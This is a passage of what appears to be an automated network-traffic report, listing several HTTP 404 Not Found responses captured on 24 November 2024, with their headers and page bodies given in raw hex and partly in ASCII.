72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Sun, 24 Nov 2024 07:10:43 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Sun, 24 Nov 2024 07:10:45 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Sun, 24 Nov 2024 07:10:48 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Sun, 24 Nov 2024 07:11:10 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Sun, 24 Nov 2024 07:11:13 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Sun, 24 Nov 2024 07:11:18 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 24 Nov 2024 07:11:42 GMTServer: ApacheContent-Length: 514Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 72 65 64 22 3e 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 62 6c 75 65 22 3e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 0a 3c 68 31 3e 34 30 34 3a 0a 09 3c 73 6d 61 6c 6c 3e 50 6c 61 79 65 72 73 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 73 6d 61 6c 6c 3e 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 20 2d 2d 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body><!-- partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div><!-- partial --> </body></html>
